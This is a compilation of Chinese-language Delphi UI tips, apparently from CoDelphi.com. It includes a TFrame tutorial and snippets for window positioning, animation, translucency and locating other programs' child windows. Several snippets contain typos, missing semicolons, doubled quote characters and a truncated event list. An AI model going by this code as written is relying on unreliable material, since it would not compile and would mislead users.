TextOut(Rect.left + 30, Rect.top + 2, '''');
end;
end;

procedure TForm1.StatusBar1DblClick(Sender: TObject);
begin
If (XClicked >= Beginpos + 3) And (XClicked <= Beginpos + 18) Then
Begin
Application.MessageBox(''You Just Double Clicked On The Icon In The Fourth Panel Of The StatusBar !'',''Information'',MB_OK);
End;
end;

procedure TForm1.StatusBar1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
XClicked := X;
Edit5.Text := IntToStr(XClicked);
end;

end.

投稿人：CoDelphi.com　投稿日期：2001-5-12 15:36:00


理解TFrame

理解Delphi 5中的新的可视容器类
CoDelphi.com

摘　要：理解Delphi 5中的新的可视容器类
关键字：框架
类　别：用户界面
Delphi 5引进了一个新的可视容器类，它代表了快速程序开发(RAD)的一个主要的进展。这个类，TFrame，使你能够可视化的设置一组含一个或更多组件，之后你可以在程序中重用它。这一能力是如此的有力，以至于Delphi 5的集成开发环境(IDE)被重新设计，以便广泛利用框架。
本文首先概括讨论框架是什么，它通过了什么样好处。接着演示如果创建框架，如何修改框架实例中对象的属性。然后你将学习如何创建框架的事件处理函数，和如何在框架实例中重载或扩展这些事件处理函数。最后演示如何将框架加入到组件面板(Component Palette)和对象仓库(Object Repository)和这样做的好处。

框架概观

框架有两个主要的好处。第一，在某些情况下，框架可大幅减少需要存储在工程中的资源量。第二，也是更重要的好处，框架允许你可视化的创建能复制和扩展的对象。对可视化窗体继承(VFI)，你可以享受同样的好处。

VFI允许你很简单的创建由继承得来的窗体。VFI的限制是你必须用“全部或全无”的方式来使用窗体。更具体的说，当你用VFI时，你总是创建一个新的窗体。框架，相反的，在这一方面更类似面板(panel)，这就是说一个窗体可包含两个或更多框架。每一个框架保持它与父TFrame的关系，即对父类的改变将自动被实例继承。这一点是很重要的。虽然你可以用TPanel组件达到同样的效果，但它只局限于基于代码的操作，即你必须写代码来手工定义TPanel的子孙。相反的，框架被可视化的设计，就像窗体一样。

框架也可认为与组件模板（含一个或更多组件并用Component | Create Component Template命令保存到组件面板的一个组）相似。但是，相似之处仅限于它们都是被可视化设计的（不象传统的完全基于代码的组件设计）。实际上，框架与组件模板的差异是巨大的。正如我们已学过的，框架是一定义类的实例，当定义类发生改变时框架也将发生变化。与之相比，组件模板是组件的集合。对组件模板的改变不影响以前从这一模板创建的对象。

创建框架

以下步骤演示如何建立一个框架（工程的源代码可供下载，参看文章的结尾部分）。

1)选择 File | New Application 建立一个新的工程。
2)选择 File | New Frame 建立一个新的框架。在这一框架上，添加三个label和三个DBEdit，还有一个DBNavigator和一个DataSource。将label的caption分别设为ID，First Name和Last Name。将DBEdit和DBNavigator的DataSource属性设为DataSource1。
3)将框架的Name属性设为NameFrame。(相比其它对象，起一个有意义的名字对框架来说非常重要)最后，选择File | Save As 保存框架。在这里，用文件名NAMEFRAM.PAS保存框架。

这就是建立一个框架的所有步骤。下面一节将演示如何使用它。

使用框架

框架是一个组件，但它与组件面板中的大多数其它组件有不同的用法。以下步骤演示如何使用一个框架：

1)在由上面步骤建立的工程中选择Form1。
2)加两个GroupBox到窗体上，其中一个在另一个之上。设置第一个的caption为Customers，第二个的caption为Employees。
3)现在添加框架。选择组件面板的Standard页，点击Frame组件并将其拖到名为Customers的GroupBox中。这时Delphi会显示一个Select frame to insert对话框。
4)在对话框中选择NameFrame。现在框架将在名为Customers的GroupBox中显示。重复这一步骤，这一次将框架放在名为Employees的GroupBox中。你可能要调节框架的尺寸，这跟你最初是如何放置有关。
5)将两个Table组件放到窗体中，将其DatabaseName属性都设为IBLocal。将Table1的TableName属性设为CUSTOMER，将Table2的TableName属性设为EMPLOYEE。将两个Table的Active属性都设为True，使它们有效。
6)下面的步骤将把事情变得有趣。选择名为Customers的GroupBox中的DataSource，将其DataSet属性设为Table1。一般的你不能直接选择组件中的对象，但是框架是个例外。你可以选择框架中的任何对象，操作它们的属性。然后，选择名名为Customers的GroupBox中DataSource，其DataSet属性设为Table2。
7)最后，设置好所有的DBEdits。将名为Customers的GroupBox中的三个DBEdits的DataField属性分别设为CUST_NO，CONTACT_FIRST和CONTACT_LAST。对Employees中的,设置DataField属性为EMP_NO，FIRST_NAME和LAST_NAME。
8)保存工程并运行。

框架和继承

到此为止，使用框架似乎没有什么好处。但是，当你要在一些地方使用同一个框架，然后又要改变所有这些实例时，框架的威力就表现得很明显了。例如，假设你要使所有的NameFrame框架变为只读的，你只需要将初始的框架修改，所有的修改就会被框架实例立刻继承。

你依照如下步骤就可以验证这一点：

1)在上面建立的工程中，按[Shift][F12]并在窗体列表中选择NameFrame。
2)将DataSource的AutoEdit属性设为False 。
3)然后，选择DBNavigator，展开它的VisibleButtons属性，并设置nbInsert，nbDelete，nbEdit，nbPost和nbCancel标志为False。
4)现在看一下你的主窗体，注意两个NameFrame的后代都继承了你对框架做的修改。

重载包含组件的属性

框架的优点之一（与VFI一样）是你可以改变框架中对象的属性和事件处理函数。这些修改重载了继承的值。说得具体些，随后对初始框架的重载属性的修改将不改变后代的重载属性的值。以下步骤可以验证这一行为：

1)在名为Customers的GroupBox中，选择标题为"ID"的label，在Object Inspector将其Caption属性改为“Customer No:”。现在选择名为Customers的GroupBox中的标题为"ID"的label，其Caption属性改为“Employee ID:”。
2)按[Shift][F12]并选择NameFrame。将标题为"ID"的label的Caption属性改为Identifier。
3)回到主窗体，注意label的Caption属性没有变为Identifier。它们仍保持它们的重载值。
4)这一效果是由保存在DFM文件中的信息实现的。

注意所有其属性改变过的在框架中的对象，都出现在DFM文件中的内置部分。但是，这一部分仅列出那些改变的值，所有其它属性值要么按初始框架的值设置（它们已经存储在框架的DFM文件中），要么按每一组件的默认类定义值。

包含组件的事件处理函数

框架中的对象也可以有事件处理函数。虽然事件只是一个方法指针型属性，但它们的默认行为被重载后的处理与其它属性不同。

让我们先考虑一下框架对象的事件处理函数是如何定义的。假设一个框架有两个按钮，一个标为Help，另一个标为Done（显然按钮的标题可以在框架后代中重载）。这两个按钮都有OnClick的事件处理函数（代码可以在本文的下载文件中的Frame2工程中找到）：

procedure TTwoButtonFrame.Button1Click(Sender: TObject);
begin
if (TComponent(Sender).Tag = 0) or
(Application.HelpFile = '''') then
MessageBox(Application.Handle,''Help not available'',
''Help'',MB_OK)
else
Application.HelpContext(TComponent(Sender).Tag);
end;

procedure TTwoButtonFrame.Button2Click(Sender: TObject);
var
AParent: TComponent;
begin
AParent := TComponent(Sender).GetParentComponent;
while not (AParent is TCustomForm) do
AParent := AParent.GetParentComponent;
TCustomForm(AParent).Close;
end;

就象窗体中的对象的事件处理函数是窗体类的公开方法，框架中的对象的事件处理函数也是框架类的公开方法。（代码段实际上并没有说框架的这些方法是公开的，而是它们在框架声明的默认可见部分被声明，其可见性默认是公开的。）

如果你查看与Done按钮相联系的Button2Click事件处理函数的代码，你会发现与框架相联系的事件处理函数引进了一个很有趣的技术。具体的说，由于Self是框架而不是包含框架的窗体，因此不能在函数中调用Close方法来关闭窗体。当你在代码中使用没有限定的方法时，编译器将认为你要使用Self的方法。因为TFrame对象没有Close方法，编译器将产生一个错误。

因为在本例中框架被设计为内置在一个窗体中，事件处理函数用GetParentComponent方法向上找TCustomForm实例（它要么是TForm的后代，要么是基于TCustomForm的定制窗体），如果找到了，就调用窗体的Close方法。

重载包含对象的事件处理函数

如果你对VFI中的事件重载比较熟悉，你会回忆起Delphi在后代窗体的重载的事件处理函数中内置继承的事件处理函数。你可以改变生成的代码，在调用继承函数之前或之后添加附加的代码，或是有条件的调用继承的事件处理函数，或是干脆省略对继承的事件处理函数的调用。

框架的后代当使用父框架中对象的事件处理函数时，不使用继承的函数，而直接调用祖先框架的方法。例如，你把TwoButtonFrame放到一个窗体中然后双击，Delphi将产生如下的代码：

procedure TForm1.TwoButtonFrame1Button2Click(
Sender: Object);
begin
TwoButtonFrame1.Button2Click(Sender);
end;

在产生的代码中，TwoButtonFrame1是TTwoButtonFrame（最初的框架类）的后代。Button2Click，如你在先前的代码段中所看到的，是Done按钮的事件处理函数。结果是，这一代码调用最初的事件处理函数，将框架实例中传给按钮的Sender传给它。

这意味着事件处理函数引进了另一个有趣的特性。具体的说，在这种情况下，Sender一般不是Self对象的成员。实际上，Sender一般是窗体对象的成员，而Self是框架对象。

在这里，原来的行为被“注释掉了”，这样新行为就完全替代了原来对Done按钮定义的行为。

procedure TForm1.TwoButtonFrame1Button2Click(
Sender: TObject);
begin
with TForm2.Create(Self) do begin
ShowModal;
Release;
end;
// 下面是原来自动生成的代码
// TwoButtonFrame1.Button2Click(Sender);
end;

框架节省资源

在声明窗体中有两个框架。我们已经讨论了TwoButtonFrame框架。第二个框架显示公司标志，名为LogoFrame。

LogoFrame在FramDemo的多个窗体中出现。一种替代使用框架的做法是在每个窗体中设置一个Image对象来显示公司标志。但是，用框架可以显著减少需要编译到EXE文件中的资源，生成一个较小的可执行文件。

你可以在如下的DFM文件部分找到原因：

inline LogoFrame1: TLogoFrame
Left = 6
Top = 6
Width = 211
Height = 182
inherited Image1: TImage
Width = 211
Height = 182
end
end

如果把一个TImage放在窗体中，窗体的DFM文件将必须包含整个公司标志的二进制数表示。而且，每一个含有图象的窗体都重复保存这一资源。但用框架时，资源只定义一次。

object LogoFrame: TLogoFrame
Left = 0
Top = 0
Width = 239
Height = 178
TabOrder = 0
object Image1: TImage
Left = 0
Top = 0
Width = 239
Height = 178
Align = alClient
Picture.Data = {
07544269746D6170D6540000424DD654000000000000760000...

简化框架的使用

在一单个、小的工程中，使用组件面板Standard页上的框架组件是相当简单的。但是对更大的、或是要在多个程序中使用同一个框架的情况下，你需要使操作更简单。幸运的是，Delphi允许你将单个框架放到组件面板，使这些框架不需要另外的步骤而简单的重复使用。框架也可放到对象库(Object Repository)中，使它可以简单的拷贝。这两个技术都将在下面叙述。

把框架添加到组件面板

把一个框架添加到组件模板，你可以使放置这一框架变得与其它组件一样简单。与之相比，用组件模板的Standard页中的框架组件需要四步，而且限制你仅能放置在你的工程中已经定义的框架。将一特定框架添加到组件模板中，需要以下四步：

1)保存框架。如果你要在多个程序中使用一个框架，我非常建议你将框架保存到升级Delphi时不会被删除的目录中。例如，建立一个名为c:\Program Files\Borland\DelphiFrames的目录来保存你的框架。
2)选择框架并在上面点鼠标右键，选择Add to Palette，Delphi会显示Component Template Information对话框。
3)在Component name栏定义框架组件的名称，在Palette page栏填写你想让框架在组件模板内出现的页。如果你已为框架建立了一个24 x 24象素、16色的图标，点击Change按钮来选择这个BMP文件。当你完成后，点击OK按钮。

从组件模板使用框架

要使用一个已添加到组件面板的框架，在组件面板中选择你保存框架的页，选择框架图标并在你要框架后代出现的窗体上拖出该框架。这个过程仅需这两步。

将框架添加到对象库

把框架添加到对象库，你可以使拷贝该框架到一个新工程的过程变得简单。尤其重要的是对象库提供放置继承的框架到新的工程的能力，它使框架和它的祖先之间的关系得以保持。要将框架添加到对象库，需要以下步骤：
1)保存框架。除了保存框架到Delphi的OBJREPOS目录或是共享目录，你还可以使用你保存添加到组件模板中的框架的目录。如果你使用共享库，将框架保存到共享目录特别好，它允许多个开发者共享框架。
2)在框架上面点鼠标右键，选择Add To Repository，Delphi会显示Add To Repository对话框。
3)就像你添加其它模板到Object Repository一样填写Add To Repository对话框。完成后点击OK按钮。

从对象库中使用框架

按照下面步骤来从对象库中使用框架:

1)选择 File | New.
2)选择你在Object Repository保存框架模板的页。
3)选择代表框架的图标，然后选择Inherit单选按钮。
4)点击OK按钮，添加框架的继承版本到你的工程

如果你选择Copy单选按钮而不是Inherit单选按钮，添加进的框架将是原框架的一个拷贝。当你需要创建一个新的框架，但又不想保持它与原框架的关系时是很有用的。

总结

把需要重复使用的框架添加到组件模板与添加到对象库有不同的效果吗？答案是："Yes!"。在大多数情况，你要把你频繁使用的框架添加到组件面板中。这样当你放置框架时，你得到的是框架的一个实例。你然后可以容易的修改这一实例的属性和事件处理函数，就象本文先前介绍的一样。与之相比，从对象库放置一个框架会产生一个新的类，而不是一个实例。这个类要么是原来的拷贝要么是原来的继承，取决于你在Object Repository对话框中选择了哪一个单选按钮。如果你要在工程中使用框架，添加一个框架实例比定义一个框架新类有意义的多。如果是这一目的，将框架保存到组件面板是最好的方法。

有一种情况你要使用对象库：当你需要专门创建一框架层次，并且每一个框架后代引进了附加的对象、方法或事件处理函数。这时，对象库提供的继承性使创建后代变得简单。但是，当你定义好了需要经常使用框架的后代，我建议你将它们添加到组件面板以简化它们的使用。

投稿人：CoDelphi.com　投稿日期：2001-5-12 15:38:00


使窗体移动时保持在桌面上

 procedure TMainFrm.MoveTheWindow();
var
Hand : hWnd;
Area : TRect;
begin
Hand := findWindow (''Shell_TrayWnd'', nil);
If Hand <> 0 then
getWindowRect (Hand, Area);

if Area.Top > 0 then
begin
//不要移除begin和end-对编译器是必须的!!
If (Top + Height) > Area.Top then Top := Area.Top - Height;
end
else
If (Top + Height) > Screen.Height then Top := Screen.Height - Height;
If (Left + Width) > Screen.Width then Left := Screen.Width - Width;
If Left < 0 Then Left := 0;
end;

投稿人：CoDelphi.com　投稿日期：2001-5-12 15:37:00


用户改变窗口大小完成的时间

摘　要：我想知道用户改变窗口大小或改变窗口位置是何时完成的
关键字：WM_EXITSIZEMOVE
类　别：API
以下例子说明发送WM_EXITSIZEMOVE可以断定用户改变窗口大小或改变窗口位置的事件是何时完成的。虽然这条信息只能在Windows NT中获得，但它也能在Windows 95中正常工作。通过它也可以断定用户改变窗口大小或改变窗口位置的事件是何时结束的。

例子:

type
TForm1 = class(TForm)
private
{ private declaration }
public
procedure WMEXITSIZEMOVE(var Message: TMessage);
message WM_EXITSIZEMOVE;
{ public declaration }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}
procedure TForm1.WMEXITSIZEMOVE(var Message: TMessage);
begin
Form1.Caption := '完成移动、重置大小';
end;

投稿人：codelphi.com　投稿日期：2001-4-24 19:03:00


实现netants一样的悬浮窗

Public

procedure Createparams(Var Params:TCreateParams);override;

...

procedure TFormDrop.Createparams(var Params:TCreateParams);

begin

Inherited CreateParams(Params);

With Params do

begin

EXStyle:=ExStyle or WS_EX_TOPMOST OR WS_EX_ACCEPTFILES or WS_DLGFRAME

wndParnet:=GetDesktopWindow; //关键一行，用SetParent都不行！！

end;

end;


如何在OnTop窗体上显示模态窗体

应该这样显示模态窗体：

application.NormalizeAllTopMosts;

ModalForm.ShowModal;

Application.RestoreTopMosts;

使用Delphi本身提供的切换OnTop的属性，可能造成窗体闪烁，可以用API来代替：

SetWindowPos(handle,hwnd_topmost,0,0,0,0,swp_nomove or swp_nosize);//Set

SetWindowPos(handle,hwnd_notopmost,0,0,0,0,swp_nomove or swp_nosize);//Unset

但是这个方法不适合于二级窗体。


实现可缩放的无标题窗体

怎样可以不要Form的标题栏和边界但可以保留改变Form的大小的功能：

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TForm1 = class(TForm)

private

procedure WmNCHitTest(var Msg : TWMNCHitTest); message WM_NCHITTEST;

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WmNCHitTest(var Msg: TWMNCHitTest);

const v=10; //border width

var p:TPoint;

begin

p:=Point(Msg.XPos,Msg.YPos);

p:=ScreenToClient(p);

if PtInRect(Rect(0,0,v,v),p) then

Msg.Result:=HTTOPLEFT

else if PtInRect(Rect(Width-v,Height-v,Width,Height),p) then

Msg.Result:=HTBOTTOMRIGHT

else if PtInRect(Rect(Width-v,0,Width,v),p) then

Msg.Result:=HTTOPRIGHT

else if PtInRect(Rect(0,Height-v,v,Height),p) then

Msg.Result:=HTBOTTOMLEFT

else if PtInRect(Rect(v,0,Width-v,v),p) then

Msg.Result:=HTTOP

else if PtInRect(Rect(0,v,v,Height-v),p) then

Msg.Result:=HTLEFT

else if PtInRect(Rect(Width-v,v,Width,Height-v),p) then

Msg.Result:=HTRIGHT

else if PtInRect(Rect(v,Height-v,Width-v,Height),p) then

Msg.Result:=HTBOTTOM;

Inherited;

end;

end.


将被其他窗体遮住的窗体弹到最前面

unit SysFocus;

interface

uses

Windows,Messages,SysUtils,Classes,Graphics,Controls,Forms,Dialogs;

type

TSysFocus=class(TComponent)

public

function GetSysFocus:integer;

function SetSysFocus(hwnd:integer):integer;

end;

implementation

function TSysFoucs.GetSysFocus;//取当前活动窗口

var

hOtherWin,OtherThreadID,hFocusWin:integer;

begin

hOtherWin:=GetForegroundWindow;

OtherThreadID:=GetWindowThreadProcessID(hOtherWin,nil);

if AttachThreadInput(GetcurrentThreadID,OtherThreadID,True) then

begin

hFocusWin:=GetFocus;

result:=GetFocus;

if HFocusWin<>0 then

try

//SendMessage(GetFocus,WM_COPY,0,0);//书上是这么写的

finally

AttachThreadInput(GetcurrentThreadID,OtherThreadID,False);

end;

end

else result:=GetFocus;

end;

function TSysFocus.SetSysFocus(hwnd:integer):integer;//设置某窗口为活动窗口

var

hOtherWin,OtherTHreadID,hFocusWin:integer;

begin

hOtherWin:=GetForegroundWindow;

OtherThreadID:=GetWindowThreadProcessID(hOtherWin,nil);

if AttachThreadInput(GetcurrentThreadID,OtherThreadID,True) then

begin

hFocusWin:=GetFocus;

SetFocus(hwnd);

//SendMessage(hwnd,WM_COPY,0,0);

if hFocusWin<>0 then

try

//SendMessage(GetFocus,WM_COPY,0,0);

finally

AttachThreadInput(GetCurrentTHreadID,OtherTHreadID,False);

end;

end

else result:=SetFocus(hwnd);

end;

end.


Winamp风格的磁性窗体

拦截WM_MOVE消息即可

type

TForm1 = class(TForm)

private

procedure WMMOVE(var Msg: TMessage); message WM_MOVE;

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

{ TForm1 }

procedure TForm1.WMMOVE(var Msg: TMessage);

begin

Inherited;

if (Left < 10) and (Top < 10) and

(Left <> 0) and (Top <> 0) then // 设定移动到左上角 10 点范围内时贴到边上去

begin

Left := 0;

Top := 0;

Msg.Result := 0;

end;

end;

end.


MDI窗体使用问题

MDI窗体隐藏问题

只能使用Windows　API ShowWindow;


代替showmodal其他两种方法

procedure TForm1.Button1Click(Sender: TObject);
begin
enablewindow(handle,false);//窗口一不可用
form2.show;

end;
procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
begin
enablewindow(form1.handle,true);//可用
end;

或者
var
Form1: TForm1;
WindowList: Pointer;

implementation

uses Unit2;

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
WindowList:= DisableTaskWindows(self.handle);
form2.show;

end;

uses Unit1;

{$R *.DFM}

procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
begin
EnableTaskWindows(unit1.WindowList);
end;


为你的窗体增添动画效果

Windows图形界面实现了卷帘、淡入淡出和弹出效果，使界面更吸引人。如果你要在你的窗体中使用这些效果，你只需要一个API函数：AnimateWindow!

这个API函数使用简单，你只需要提供你的窗体的句柄、动画进行的毫秒数和一些指定效果和方向的标志。

试着在你的窗体的OnShow事件处理函数中加入下面的代码:

...
AnimateWindow(Self.Handle, 250, AW_BLEND or AW_ACTIVATE);
...

执行工程并看一下结果。很酷，是不是？

这个函数默认使用卷帘效果，但是你可以用AW_SLIDE获得幻灯效果，用AW_CENTER获得垮塌或扩展效果，用AW_BLEND获得平滑的淡入淡出效果。

还有，你可以加上AW_ACTIVATE标志如果你的窗体正在出现，或是AW_HIDE如果你的窗体将要被隐藏，这一标志颠倒动画的方向。

当你使用卷帘和淡入淡出效果时，你可以指定效果在水平和垂直轴发生的方向，添加AW_HOR_POSITIVE和AW_HOR_NEGATIVE设置x轴，添加W_VER_POSITIVE或是AW_VER_NEGATIVE设置y轴。

当你用AW_CENTER标志时，所有这些标志都可以省略。

试验不同的标志组合并看一下结果！

--------------------------------------------------------------------------------

当你玩了一段时间后，你会发现一个奇怪的地方：一些控件显示正常，其他的控件绘图有错误，还有一些根本不画！！

原因很简单，但是解决方法很麻烦。

MSDN文档说窗体中的控件的windows程序必须处理WM_PRINT或WM_PRINTCLIENT消息，使它们与AnimateWindow API函数一起使用。这些消息当Windows需要在屏幕以外的显示环境（如打印机，在这里使屏幕外位图）绘图时被使用。该文档说普通控件和对话框的窗口程序已经处理了这些消息。

这就解释了一些控件绘图正常：例如TButton, TCheckBox和TRadioButton它们拥有和管理底下的按钮控件，这样它们能正确的处理消息。

绘图有错误的控件是一种中间类型，它们拥有按钮控件但是一些部分使应用Dephi的TCanvas而不是Windows GDI绘制的，如TEdit, TRichEdit和其他这样的控件。

不可见的控件是完全不拥有普通控件的那些，它们都是TGraphic的后代，如TShape和TBevel。这些控件决不会画出来，因为它们接收不到需要的消息。

但是，对从TWinControl衍生出来的Delphi对象，你可以这样从中间截取和处理WM_PRINTCLIENT消息：

unit TestGroupBox;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;

type
TTestGroupBox = class(TGroupBox)
private
{ Private declarations }
protected
{ Protected declarations }
procedure WMPrintClient(var Msg: TMessage); message WM_PRINTCLIENT;

public
{ Public declarations }
published
{ Published declarations }
end;

procedure Register;

implementation

procedure Register;
begin
RegisterComponents(''Test'', [TTestGroupBox]);
end;

{ TTestGroupBox }

procedure TTestGroupBox.WMPrintClient(var Msg: TMessage);
begin
PaintTo(HDC(Msg.WParam), 0, 0);
end;

end.

这是一个从TGroupBox派生出来的例子组件。由于TGroupBox拥有的不是一个普通窗口控件，WM_PRINTCLIENT没有被处理。程序添加消息处理函数并在一个不同的显示环境中使用PaintTo方法，这些都是直接了当的。

现在是麻烦的部分了：你窗体的每一个控件都必须这样修改，而且你必须修改你所有的对象才能安全使用AnimateWindow API函数。

投稿人：CoDelphi.com　投稿日期：2001-5-12 15:38:00


实现托盘程序最大最小化动态效果

windows本身在最大最小化程序时有动态效果，但只对普通程序有效，而对托盘程序没有类似的效果，然而我们可以通过DrawAnimatedRects函数简单的实现最好效果。这个函数只需要指定窗口句柄和动态起始的和结束的两个矩形区域就可以了。

unit TestForm;

interface

uses

Windows, Classes, Forms, Controls, StdCtrls, ExtCtrls;

type

TZoomAction = (zaMinimize, zaMaximize);

TfrmTest = class(TForm)

procedure FormClose(Sender: TObject; var Action: TCloseAction);

procedure FormShow(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

frmTest: TfrmTest;

implementation

{$R *.DFM}

procedure ZoomEffect(theForm: TForm; theOperation: TZoomAction);

var

rcStart: TRect;

rcEnd: TRect;

rcTray: TRect;

hwndTray : hWnd;

hwndChild: hWnd;

begin

{ Find the system tray area bounding rectangle }

hwndTray := FindWindow('Shell_TrayWnd', nil);

hwndChild := FindWindowEx(hwndTray, 0, 'TrayNotifyWnd', nil);

GetWindowRect(hwndChild, rcTray);

{ Check for minimize/maximize and swap start/end}

if theOperation = zaMinimize then

begin

rcStart := theForm.BoundsRect;

rcEnd := rcTray;

end

else

begin

rcEnd := theForm.BoundsRect;

rcStart := rcTray;

end;

{ Here the magic happens... }

DrawAnimatedRects(theForm.Handle, IDANI_CAPTION, rcStart, rcEnd)

end;

procedure TfrmTest.FormClose(Sender: TObject; var Action: TCloseAction);

begin

ZoomEffect(Self, zaMinimize);

end;

procedure TfrmTest.FormShow(Sender: TObject);

begin

ZoomEffect(Self, zaMaximize);

end;

end.


获得其他程序的子窗体

   通过一个父窗体的句柄，递归的枚举它的子窗体，我们可以最终找到需要的子窗体。

用法如下：

nParentHandle: HWnd;
nChildHandle: HWnd;

nParentHandle := FindWindow(nil, 'Notepad');
if nParentHandle <> 0 then
nChildHandle := FindChildWindow(nParentHandle, 'SomeChildEditsClassName');

------函数代码------

var
hwndFindChildWindow : HWND;

function EnumWindowsForFindChildWindowProc(WHandle: HWND; lParam:
   LPARAM): BOOL; export; stdcall;
const
MAX_WINDOW_NAME_LEN = 80;
var
sTargetClassName: string;
nHandle: HWnd;
sCurrClassName: string;
bResult: Boolean;
begin
if (hwndFindChildWindow <> 0) then
exit;
sTargetClassName := PChar(lParam);
sCurrClassName := GetWindowClass(WHandle);
bResult := CompareText(sCurrClassName, sTargetClassName) = 0;
If (bResult) then
hwndFindChildWindow := WHandle
else
FindChildWindow(WHandle, PChar(lParam));
end;

function FindChildWindow(hwndParent: HWnd; ClassName: PChar) : HWnd;
begin
try
EnumChildWindows(hwndParent,
   @EnumWindowsForFindChildWindowProc, LongInt(PChar(ClassName)));
Result := hwndFindChildWindow;
except
on Exception do
Result := 0;
end;
end;

//返回当前获得焦点的窗体
function GetFocusedWindowFromParent(ParentWnd:HWnd):HWnd;
var
OtherThread,
Buffer : DWord;
idCurrThread: DWord;
begin
OtherThread := GetWindowThreadProcessID(ParentWnd, @Buffer);
idCurrThread := GetCurrentThreadID;
if AttachThreadInput(idCurrThread, OtherThread, true) then begin
Result := GetFocus;
AttachThreadInput(idCurrThread, OtherThread, false);
end
else
Result:= GetFocus;
end;

//获得当前获得焦点的子窗体，即使它是其他应用程序的窗体
function GetFocusedChildWindow: HWnd;
begin
Result := GetFocusedWindowFromParent(GetForegroundWindow);
end;

//获得窗体的文本
function EIGetWinText(nHandle: Integer): string;
var
pcText: array[0..32768] of char;
begin
SendMessage(nHandle, WM_GETTEXT, 32768, LongInt(@pcText));
Result := pcText;
end;

//设定窗体的文本
procedure EISetWinText(nHandle: Integer; const sNewText: string);
begin
SendMessage(nHandle, WM_SETTEXT, Length(sNewText), LongInt(PChar(Trim(sNewText))));
end;

//返回窗体的类名
function EIGetWindowClass(const nHandle: HWnd): string;
var
szClassName: array[0..255] of char;
begin
GetClassName(nHandle, szClassName, 255);
Result := szClassName;
end;


半透明窗体

半透明窗体并不是win2000的新特效，凡是用过金山词霸的同志都会发现在屏幕取词设置中有一个半透明背景的选项，这说明在win98下是可以实现半透明窗口的。但我还是要首先谈谈在win2000实现半透明窗体的新函数setlayeredwindowattributes。利用这个函数就可以轻松创建一个半透明窗体，但是利用这个函数的程序编译后在win98下是无法运行的。

setlayeredwindowattributes api函数介绍如下： 函数功能：设置窗口透明颜色 参数：setlayeredwindowattributes( hwnd hwnd, //窗口手柄 colorref crkey, //指定颜色值 byte balpha, //混合函数值 dword dwflags //动作 参数解释： hwnd:窗口句柄。当使用createwindowex函数创建窗口时，窗口由ws_ex_layered指定的值创建；或者窗口已经创建后，由setwindowlong根据ws_ex_layered指定的值改变。 crkey:指向一个color值，该值指定一个透明颜色值，当创建窗口时，窗口将使用该值。 balpha:混合函数值。该值用于描述窗口的不透明度。当balpha 值为0时，窗口完全透明，当balpha值为255时，窗口完全不透明。 dwflags:指定动作。这个参数可以取一个或多个值。用它我们可以创建一个不规则的窗体。

setlayeredwindowattributes函数的api声明: setlayeredwindowattributes(hwnd: hwnd; crkey: dword;balpha: byte; dwflag: dword): boolean; stdcall; ---------

程序代码1： const ws_ex_layered = $80000; lwa_colorkey = $1;
lwa_alpha = $2; procedure tform1.formcreate(sender: tobject); var
l:longint; begin l :=getwindowlong(handle, gwl_exstyle); l := l or
ws_ex_layered; setwindowlong (handle, gwl_exstyle, l);
setlayeredwindowattributes(handle, 180, 120, lwa_alpha); end;
还有一些其它的常量定义如: ac_src_alpha = $1; ac_dst_no_premult_alpha
= $10; ulw_colorkey = $1; ulw_alpha = $2; ulw_opaque = $400; 等还要参看msdn。

有些我还没有搞明白，如果哪位同志知道的话，请告诉我。 那么在win98下又是如何实现半透明窗体的呢?其基本原理是:在窗口显示前其获取背景图然后对背景图象进行滤镜效果处理再将处理过的背景图象显示在窗口前面。 有一种方法是:首先，做出一个透明窗体，然后在窗体上添加一个shape，将其扩展至全屏幕，将shape的pen的mode属性设为pmmask,pen的style属性设为psclear,最后改变brush的color属性即可。 因为没有api支持，win9x下只能模拟，效果不太好，就象金山词霸的取词窗口，背景改变而窗体上还是不变。但我们可以利用timer控件来解决窗体的刷新率和时时更新的问题。 不过听说“金山词霸的半透明窗口效果只能在带mmx指令集的处理器中才起作用”不知是真是假，由于手头没有这样的电脑，还请同志们自己验证吧。

在windows2000下增加了一些API,可以轻易的实现半透明的窗体，源程序如下，必要的地方我加上了注释

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

const

WS_EX_LAYERED = $80000;

AC_SRC_OVER = $0;

AC_SRC_ALPHA = $1;

AC_SRC_NO_PREMULT_ALPHA = $1;

AC_SRC_NO_ALPHA = $2;

AC_DST_NO_PREMULT_ALPHA = $10;

AC_DST_NO_ALPHA = $20;

LWA_COLORKEY = $1;

LWA_ALPHA = $2;

ULW_COLORKEY = $1

ULW_ALPHA = $2

ULW_OPAQUE = $4

//新增加的常量定义

type

TForm1 = class(TForm)

procedure FormCreate(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

function SetLayeredWindowAttributes(hwnd:HWND; crKey:Longint; bAlpha:byte; dwFlags:longint ):longint; stdcall; external user32;//函数声明

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

var l:longint;

begin

l:=getWindowLong(Handle, GWL_EXSTYLE);

l := l Or WS_EX_LAYERED;

SetWindowLong (handle, GWL_EXSTYLE, l);

SetLayeredWindowAttributes (handle, 0, 180, LWA_ALPHA);

//第二个参数是指定透明颜色

//第二个参数为0则使用第四个参数设置alpha值，从0到255，其他的我不太清楚，因为没有api帮助

end;

end.


窗体产生时的事件次序

action event

create oncreate

show onshow

paint onpaint

activate onactivate

resize onresize

paint onpaint

close query onclosequery

close onclose

deactivate ondeactivate

hide onhide

destroy ondestr


生成没有Title但可以Resize的窗体

重载CreateParams方法

type

TNiceForm = class(TForm)

protected

procedure CreateParams(var Params: TCreapeParams); override;

end;

implementation

{ TNiceForm }

procedure TNiceForm.CreateParams(var Params: TCreateParams);

begin

Params.Style := Params.Style or WS_THICKFRAME;

end;

end.


